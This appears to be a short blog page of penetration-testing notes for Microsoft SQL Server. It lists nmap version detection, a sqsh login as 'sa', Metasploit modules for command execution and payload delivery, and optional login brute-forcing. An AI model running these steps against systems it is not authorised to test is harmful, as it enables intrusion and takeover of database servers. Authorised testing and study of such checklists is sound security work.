Enumeration
Mandatory
- Determine version:
nmap -p 445 --script ms-sql-info $target - If credentials are known:
- Try to connect to the DB (alternative: IntelliJ, …):
sqsh -U sa -P $password -S $target:1433 - Try to execute commands:
msf> use auxiliary/admin/mssql/mssql_exec
msf> use windows/mssql/mssql_payload- If mssql_exec doesn’t work, take care of domain/username and powershell.exe ‑command type system.
- Try to connect to the DB (alternative: IntelliJ, …):
Optional
- Brute-force login (e.g. with
msf> use scanner/mssql/mssql_login).
Leave a Reply
You must be logged in to post a comment.